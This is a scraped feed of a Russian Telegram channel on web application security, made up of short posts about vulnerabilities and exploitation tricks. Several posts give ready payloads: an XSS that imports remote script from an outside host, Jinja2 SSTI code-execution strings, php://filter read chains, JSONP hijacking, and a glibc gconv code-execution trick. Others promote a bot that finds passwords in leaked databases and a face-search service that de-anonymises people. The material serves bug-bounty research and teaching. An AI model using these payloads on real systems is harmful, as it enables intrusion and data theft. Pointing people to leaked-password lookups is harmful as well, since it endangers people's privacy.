Кавычка
16.4K subscribers
83 photos
2 videos
12 files
184 links
Практическая безопасность. Уязвимости и атаки на веб-приложения.

Чат @WebPwnChat

Только авторский контент, без репостов и рекламы (простите).

Вместо лайка:
https://t.iss.one/webpwn?boost

Платный канал:
https://t.iss.one/tribute/app?startapp=s2Vr
Download Telegram
В 2017 году на Defcon Russia я предлагал использовать Google Glass интегрируя в него сервис Findface.

Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
FindTwin face search demo в title говорит о том, что это демка, но поиск по закрытым профилям вконтактике — уже приятно.
Forwarded from Br0wSec (Andrey Kovalev)
Вышел отчет Chromium Security Q4. Самое интересное, что там было - представление нового API для защиты от XSS (в первую очередь от DOM-based), который называется Trusted Types.

Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.

Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.

Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
GraphQL - это технология для создания API от Facebook. Сейчас на многих современных сайтах можно увидеть обращения к GraphQL-бекендам, у которых нередко можно встретить проблемы с разделением прав доступа. Достаточно вспомнить недавний баг у HackerOne.

Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например password_contains, password_not_contains, password_starts_with и др. И что самое главное - авторизация для таких полей реализована некорректно, допуская error-based перебор символов.
Чуваки из Google сделали офигенный сервис!
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).

https://www.vulncode-db.com
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения. 🔥

В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
Кавычка
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения.…
Учетная запись была в открытом доступе примерно с лета прошлого года. Репозиторий уже был удален, клиенты не пострадали (надеюсь), а мы уже получили ответ от Devicelock - "ага, спасибо. не нужно конечно было это допускать ;)".
JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов /[a-z().]/ (ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.

https://terjanq.github.io/JS-Alpha/encoder.html

Например, alert(1):
with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
Бот для поиска паролей по введённому email’у на основе множества утечек баз данных. База постоянно пополняется :)

@mailsearchbot
Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
GET /api/user.info?callback=xek HTTP/1.1

Зачастую для вызова обратной функции у меня встречались следующие параметры:

callback
jsonp
cb
jp

А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951

Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
Когда у тебя есть CRLF в заголовке Location при редиректе, ты можешь попробовать превратить CRLF в полноценную XSS.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Чтобы подключить внешний JS на страницу, нужно было либо обращаться к удаленной странице и выполнять ответ. Или хитрить и использовать уже подключенные библиотеки, например $.getScript в Jquery.
Сейчас в Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
PayloadsAllTheThings - коллекция полезной нагрузки ко всему, вот серьёзно.
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
🔥1
Не секрет, что Telegram поддерживает форматирование. Мессенджер поддерживает markdown, к тому же, у него есть горячие клавиши. Например это жирные ( Ctrl/Cmd + B ) или курсивные ( Ctrl/Cmd + I ) буквы.
А еще можно вставлять ссылки. Причем внешне корректные ссылки, такие как https://google.com, хоть и могут отправлять в другое место, но будет отображено предупреждение.

Но ссылки на t.iss.one будут обработаны по-другому. При нажатии сразу будет открываться группа, профиль человека или бот. Для этого нужно выделить текст, нажать Ctrl/Cmd+U и указать ссылку.

Так что аккуратнее с этим. А @durov, спасибо!
Часто при использовании Burp Repeater'а хочется посмотреть историю отправленных через него запросов - для этого удобно использовать плагин Burp Suite Logger++.

https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
Что если вы контролируете путь к файлу для чтения в PHP, но результат отображается только при соответствии каким-то условиям?

Например, это может быть проверка через getimagesize() на то, что прочитанный файл является изображением. Также содержимое может выводиться не целиком, а лишь частично.
Ещё ситуация: у вас XXE, и вы хотите читать файлы с угловыми скобками (те же PHP-скрипты). Просто так это зачастую не сделать из-за нарушения синтаксиса XML.

На помощь приходят обёртки и фильтры:
https://www.php.net/manual/ru/filters.convert.php
https://www.php.net/manual/ru/filters.compression.php
https://www.php.net/manual/ru/filters.string.php
https://www.php.net/manual/ru/migration53.new-stream-filters.php

PHP позволяет на лету преобразовывать содержимое, прочитанное из ресурса (как из файловой системы, так и по сети).
Например, вот так можно прочитать веб-страницу, на лету убрать из неё теги, сжать с zlib и закодировать в base64:
php://filter/read=string.strip_tags|zlib.deflate|convert.base64-encode/resource=https://localhost:1337/secret.xml

Комбинируя фильтры, можно зачастую извлечь данные, которые приложение не хотело отдавать из-за валидации в XML-парсере или на уровне скрипта.
Отличный эксплоит с отличным названием PHuiP-FPizdaM!

В версиях php 7+ (заканчивая вчерашней) в парсинге fastcgi есть бинарный баг, который позволяет перетереть FASTCGI переменные, что позволяет выставлять php.ini опции, что в свою очередь дает возможность выполнить код.

Для успешной эксплутатации нужно, чтобы в связке php-fpm + nginx конфиг последнего позволял передать пустое значение PATH_INFO (все предусловия написаны в README.md эксплоита).

Подробности, примеры и прочие фишки будут на ZN.
Если вы когда-нибудь сталкивались с SSTI в Jinja2, то вы наверняка гуглили RCE payload и находили что-то монструозное вроде этого:

{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}

Этот пейлоад достает класс Popen по индексу из наследников object и исполняет команду. Он не очень-то удобен: индекс Popen (который в примере равен 46) различается от сетапа к сетапу, поэтому его нужно подбирать.

К счастью, всё можно сделать гораздо проще:

{{lipsum.__globals__["__builtins__"].eval("<python code>")}}

Здесь мы используем встроенную в Jinja функцию lipsum (она возвращает текст "Lorem ipsum dolor..."), но вместо того чтобы вызывать её, мы через __globals__ достаем её глобальные переменные — а в них нас ждет модуль __builtins__ с функцией eval.

Вообще, при эксплуатации SSTI-подобных уязвимостей в питоне полезно помнить о существовании свойства __globals__ у всех питоновских функций (кроме встроенных). Если в вашем окружении нет функций, а только объекты — не беда, найдите у него любой метод и возьмите свойство __func__. Вы получите unbound функцию, у которой уже будет __globals__.
Знали ли вы, что второй аргумент fopen (тот самый, который w или, например, r+) умеет исполнять код? Ну почти.

Оказывается, glibc поддерживает синтаксис для указания кодировок, это можно сделать вот так: fopen("file", "w,ccs=<encoding>"). Сами кодировки подгружаются динамически, функции для работы с каждой кодировкой лежат в отдельном .so-файле. Конфиг, содержащий пути к этим библиотекам называется gconv-modules и обычно лежит где-нибудь в /usr/lib/x86_64-linux-gnu/gconv/, но если переопределить переменную окружения GCONV_PATH, то он будет браться из указанной директории. И path traversal, конечно, в нем полностью поддерживается.

В итоге, если вы можете для чужого приложения

1) переопределить переменную окружения GCONV_PATH
2) куда-нибудь записать свою so-шку и файл gconv-modules
3) дописать ,css=payload во второй аргумент fopen

то вы получите выполнение кода.

Конечно, в реальных приложениях такое вряд ли встретится, но это доказывает что даже в самых базовых библиотеках полно интересного.

Кстати, эта же система кодировок-модулей используется и в iconv (и утилите, и библиотеке), поэтому трюк можно использовать для обхода disabled_functions в php. Правда, для того, чтобы задать GCONV_PATH должен быть разрешен putenv, а это уже само по себе небезопасно.

Подробности можно прочитать в посте японца, который это заметил.